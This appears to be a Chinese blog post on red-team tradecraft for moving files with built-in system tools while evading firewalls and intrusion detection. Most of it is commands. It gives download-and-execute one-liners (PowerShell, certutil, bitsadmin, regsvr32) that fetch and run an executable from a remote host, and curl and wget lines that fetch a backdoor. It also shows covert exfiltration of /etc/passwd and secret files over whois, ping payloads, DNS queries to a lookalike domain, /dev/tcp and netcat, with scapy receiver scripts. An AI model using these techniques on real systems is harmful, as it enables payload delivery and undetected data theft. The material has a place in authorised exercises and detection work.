红蓝对抗--蓝军套路之利用系统工具进行文件传输
在进行红蓝对抗演练时,蓝军常常需要最大化利用当前的环境绕过重兵防守的系统的防火墙、IDS、IPS等报警和监控系统进行文件传输。关键时刻,如何绕过这些防护进行文件传输,就成了蓝军攻击检测中的重要一步。
道高一尺,魔高一丈。今天就来摆一下利用操作系统默认自带工具进行文件传输的正确姿势。
一、搭建HTTP Server
● Python
python2:
python -m SimpleHTTPServer 1337
以上命令会在当前目录启动 HTTP 服务,端口为 1337
python3:
python -m http.server 1337
以上命令会在当前目录启动 HTTP 服务,端口为 1337
● PHP 5.4+
当 PHP 版本大于 5.4 是,可使用 PHP 在当前目录启动 HTTP 服务,端口为 1337
php -S 0.0.0.0:1337
● Ruby
下面的命令会在当前目录下启动 HTTP 服务,端口为 1337
ruby -rwebrick -e'WEBrick::HTTPServer.new(:Port => 1337, :DocumentRoot => Dir.pwd).start'
● Ruby 1.9.2+
ruby -run -e httpd . -p 1337
● Perl
perl -MHTTP::Server::Brick -e '$s=HTTP::Server::Brick->new(port=>1337); $s->mount("/"=>{path=>"."}); $s->start'
perl -MIO::All -e 'io(":8080")->fork->accept->(sub { $_[0] < io(-x $1 +? "./$1 |" : $1) if /^GET \/(.*) / })'
● busybox httpd
busybox httpd -f -p 8000
二、从 HTTP Server 下载文件
以下列出了在 Windows 和 Linux 系统下使用系统自带工具从 HTTP Server 下载文件的几种方法
● Windows
powershell
下载并执行:
powershell (new-object System.Net.WebClient).DownloadFile(‘http://1.2.3.4/5.exe’,'c:\download\a.exe’);start-process ‘c:\download\a.exe’
certutil
下载并执行:
certutil -urlcache -split -f http://1.2.3.4/5.exe c:\download\a.exe&&c:\download\a.exe
bitsadmin
下载并执行:
bitsadmin /transfer n http://1.2.3.4/5.exe c:\download\a.exe && c:\download\a.exe
bitsadmin 的下载速度比较慢
regsvr32
regsvr32 /u /s /i:http://1.2.3.4/5.exe scrobj.dll
● Linux
Curl
curl http://1.2.3.4/backdoor
Wget
wget http://1.2.3.4/backdoor
awk
在使用 awk 进行下载文件时,首先使用以上列出的任意一条命令启动一个 HTTP Server
awk 'BEGIN {RS = ORS = "\r\n"HTTPCon = "/inet/tcp/0/127.0.0.1/1337"print "GET /secret.txt HTTP/1.1\r\nConnection: close\r\n" |& HTTPConwhile (HTTPCon |& getline > 0)print $0close(HTTPCon)
}'
效果:
三、Setup HTTP PUT Server
以下列出了上传文件到 HTTP Server 的几种方法
● 使用 Nginx 搭建 HTTP PUT Server
mkdir -p /var/www/upload/ # 创建目录
chown www-data:www-data /var/www/upload/ # 修改目录所属用户和组
cd /etc/nginx/sites-available # 进入 nginx 虚拟主机目录
#写入配置到 file_upload 文件
cat <<EOF > file_upload
server {listen 8001 default_server;server_name kali;location / {root /var/www/upload;dav_methods PUT;}
}
EOF
#写入完毕
cd …/sites-enable # 进入 nginx 虚拟主机启动目录
ln -s /etc/nginx/sites-available/file_upload file_upload # 启用 file_upload 虚拟主机
systemctl start nginx # 启动 Nginx
● 使用 Python 搭建 HTTP PUT Server
以下代码保存到 HTTPutServer.py 文件里:
https://www.snip2code.com/Snippet/905666/Python-HTTP-PUT-test-server
import sys
import signal
from threading import Thread
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandlerclass PUTHandler(BaseHTTPRequestHandler):def do_PUT(self):length = int(self.headers['Content-Length'])content = self.rfile.read(length)self.send_response(200)with open(self.path[1:], "w") as f:f.write(content)def run_on(port):print("Starting a HTTP PUT Server on {0} port {1} (http://{0}:{1}) ...".format(sys.argv[1], port))server_address = (sys.argv[1], port)httpd = HTTPServer(server_address, PUTHandler)httpd.serve_forever()if __name__ == "__main__":if len(sys.argv) < 3:print("Usage:\n\tpython {0} ip 1337".format(sys.argv[0]))sys.exit(1)ports = [int(arg) for arg in sys.argv[2:]]try:for port_number in ports:server = Thread(target=run_on, args=[port_number])server.daemon = True # Do not make us wait for you to exitserver.start()signal.pause() # Wait for interrupt signal, e.g. KeyboardInterruptexcept KeyboardInterrupt:print "\nPython HTTP PUT Server Stoped."sys.exit(1)
运行方法:
$ python HTTPutServer.py 10.10.10.100 1337
Starting a HTTP PUT Server on 10.10.10.100 port 1337 (http://10.10.10.100:1337) ...
四、上传文件到 HTTP PUT server
● Linux
Curl
$ curl --upload-file secret.txt http://ip:port/
Wget
$ wget --method=PUT --post-file=secret.txt http://ip:port/
● Windows
Powershell
$body = Get-Content secret.txt
Invoke-RestMethod -Uri http://ip:port/secret.txt -Method PUT -Body $body
五、使用 Bash /dev/tcp 进行文件传输
首先需要监听端口
文件接收端:
nc -lvnp 1337 > secret.txt
文件发送端:
cat secret.txt > /dev/tcp/ip/port
六、使用 SMB 协议进行文件传输
● 搭建简易 SMB Server
搭建简易SMB Server 需要用到 Impacket 项目的 smbserver.py 文件
Impacket 已默认安装在 Kali Linux 系统中
syntax: impacker-smbserver ShareName SharePath
$ mkdir smb # 创建 smb 目录
$ cd smb # 进入 smb目录
$ impacket-smbserver share pwd
# 在当前目录启动 SMB server,共享名称为 share
效果:
从 SMB server 下载文件
copy \IP\ShareName\file.exe file.exe
上传文件到 SMB server
net use x: \IP\ShareName
copy file.txt x:
net use x: /delete
● 使用 whois 命令进行文件传输
/etc/passwdHost A
Host B
接收端 Host B:
nc -vlnp 1337 | sed “s/ //g” | base64 -d
发送端 Host A:
whois -h 127.0.0.1 -p 1337 cat /etc/passwd | base64
效果:
● 使用 ping 命令进行文件传输
secret.txtSender
Reciver
发送端:
xxd -p -c 4 secret.txt | while read line; do ping -c 1 -p $line ip; done
接收端:
以下代码保存到 ping_receiver.py
import sys
try:from scapy.all import *
except:print("Scapy not found, please install scapy: pip install scapy")sys.exit(0)def process_packet(pkt):if pkt.haslayer(ICMP):if pkt[ICMP].type == 8:data = pkt[ICMP].load[-4:]print(f'{data.decode("utf-8")}', flush=True, end="", sep="")sniff(iface="eth0", prn=process_packet)
执行方法:
python3 ping_receiver.py
效果
● 使用 dig 命令进行文件传输
/etc/passwdSender
Reciver
发送端:
xxd -p -c 31 /etc/passwd | while read line; do dig @172.16.1.100 +short +tries=1 +time=1 $line.gooogle.com; done
接收端:
以下代码使用了 python 的 scapy 模块,需要手动安装
代码保存到 dns_reciver.py 文件中
try:from scapy.all import *
except:print("Scapy not found, please install scapy: pip install scapy")def process_packet(pkt):if pkt.haslayer(DNS):domain = pkt[DNS][DNSQR].qname.decode('utf-8')root_domain = domain.split('.')[1]if root_domain.startswith('gooogle'):print(f'{bytearray.fromhex(domain[:-13]).decode("utf-8")}', flush=True, end='')sniff(iface="eth0", prn=process_packet)
运行方法:
python3 dns_reciver.py
效果:
七、使用 NetCat 进行文件传输
1.txtA:10.10.10.100
B:10.10.10.200
接受端:
nc -l -p 1337 > 1.txt
发送端:
cat 1.txt | nc -l -p 1337
或者
nc 10.10.10.200 1337 < 1.txt
在极端环境下,如果接受端没有 nc 可以使用 Bash 的 /dev/tcp 接收文件:
cat < /dev/tcp/10.10.10.200/1337 > 1.txt
近年来,随着互联网快速发展,网络攻击、信息泄露等问题也日益突出。这对公共网络安全、信息安全造成严重威胁。知道创宇提出了“未知攻、焉知防”的安全理念,这同样也是对抗演习的核心思想,以攻促防,全面了解企业安全防护的优劣势,提升安全人员的安全技能和防护水平。
红蓝对抗--蓝军套路之利用系统工具进行文件传输相关推荐
- 红蓝对抗-红蓝对抗经验总结
红蓝对抗经验总结 文章目录 红蓝对抗经验总结 前言 红蓝对抗思路 公司敏感信息网上收集 资产梳理 只给出了公司名字 查找该公司有关的所有主域名 收集所有主域名的所有子域名 通过IP查找该公司的网段 给 ...
- 红蓝对抗 linux内网渗透
目录 一.前言 二.提权 2.1 利用内核漏洞进行提权 2.2 利用文件权限配置不当进行提权 2.3 利用SUID程序进行提权 三.隧道 3.1 SSH 3.2 nc/ncat 3.3 portmap ...
- 不能从远程创建com+对象_红蓝对抗攻防实战:寻找COM对象
概述 渗透测试人员.红蓝对抗的蓝军(攻击方).恶意行动者经常会选择COM对象来实现横向移动.此前,一些安全研究人员陆续针对COM对象开展研究,包括Matt Nelson(enigma0x3)在2017 ...
- 终于有人把红蓝对抗讲明白了
导读:什么是红蓝对抗? 我们现在所处的时代,有人称为网络时代,有人称为信息时代,也有人称为数据时代,不管名字怎么叫吧,我想有一件事已经成为了共识,那就是我们的安全观念得要跟上时代发展. 都知道重要的东 ...
- 红蓝对抗之Windows内网渗透
无论是渗透测试,还是红蓝对抗,目的都是暴露风险,促进提升安全水平.企业往往在外网布置重兵把守,而内网防护相对来说千疮百孔,所以渗透高手往往通过攻击员工电脑.外网服务.职场WiFi等方式进入内网,然后发 ...
- 红蓝对抗之域名搜集方法总结
作者: 腾讯蓝军实习生 jax.yhy.A1oe 前言 在历次HW.红蓝对抗.渗透测试项目中,外网的信息收集是至关重要的一个环节,外网打点信息收集全面了,可能会有四两拨千斤效果,直接突破外网边界进入内 ...
- 宏观看红蓝对抗与渗透测试
文章目录 前言 1. 渗透测试为什么要存在 2. 红蓝对抗为什么要存在 3. 对于整个红蓝对抗事件的总结 3.1 从过程细节来说: 3.2 从根本提高安全能力的方法 3.2 攻击队成员进攻思路 3.2 ...
- 浅谈大规模红蓝对抗攻与防
文|腾讯蓝军 深夜饮酒 & leonc 编者按 蓝军(Blue Team)的价值是站在攻击者的位置从实战角度协助防守方发现问题,避免防守方在进行安全建设时以自我为中心纸上谈兵,所谓以攻促防是也 ...
- 红蓝对抗-HW红蓝队基本知识
第一章 什么是蓝队 蓝队,一般是指网络实战攻防演习中的攻击一方. 蓝队一般会采用针对目标单位的从业人员,以及目标系统所在网络内的软件.硬件设备同时执行多角度.全方位.对抗性的混合式模拟攻击手段:通过技 ...
- 红蓝对抗中的近源渗透
前言 近源渗透是这两年常被安全业内人员谈起的热门话题.不同于其他虚无缥缈的安全概念,近源渗透涉及到的无线安全.物理安全.社会工程学都十分容易落地实践,许多企业内部的攻防对抗演练也都出现了看上去&quo ...
最新文章
- Python小知识点(3)--装饰器
- sqlanyshere转mysql_【SQL】Oracle和Mysql的分页、重复数据查询(limit、rownum、rowid)
- 笔记-项目立项管理-项目的可行性研究
- 9、oracle数据库下的视图和同义词
- matlab 线性规划_从零开始的matlab学习笔记——(37)线性规划——后传
- 从页面底部向上弹出dialog,消失时逐渐向下(转)
- jsjq面试笔记(下)
- 你见过哪些饭桌上不礼貌的行为?
- 实习生有年终奖吗_“辞职,一定要赶在发年终奖前!”为什么我建议你一定要年前跳槽...
- mysql vs连不上_vs2015下配置MySQL,使之能使用c++连接完美运行
- css 文字超出变 ... 点点点
- Android小程序白屏,微信小程序web-view跳转h5 安卓白屏
- 【编译原理】自下而上语法分析(C/C++源码+实验报告)
- 类似于计算机的文件管理器,XYplorer 21比电脑自带的文件管理器还好用的工具
- Android接入支付宝实现支付功能
- 将正负值分别显示的函数
- Adversarial Semantic Alignment for Improved Image Captions
- 论相对性原理2-洛仑兹坐标变换的数学原理
- ECharts:echarts-wordcloud词云图
- 用什么软件抓cd音轨音质最好_什么APP听音乐好?
热门文章
- 织梦php模板安装教程,dedecms织梦网整站模板通用安装教程(图文)
- mysql禁用ipv6_linux配置禁用启用IPv6
- (P61)io流类库:字符串流
- 存量用户时代,方兴未艾的客户服务SaaS
- Rclone挂载SharePoint
- 上海社保基数又上涨,对积分、落户有什么影响?
- Cloudera Manager API使用(附代码)
- 通过注册表改变“我的文档”等的默认位置
- boost创建线程池_linux下boost的一个扩展线程池-threadpool-的学习
- JavaScript之切换背景图片(并使)背景栏保持和背景色调相似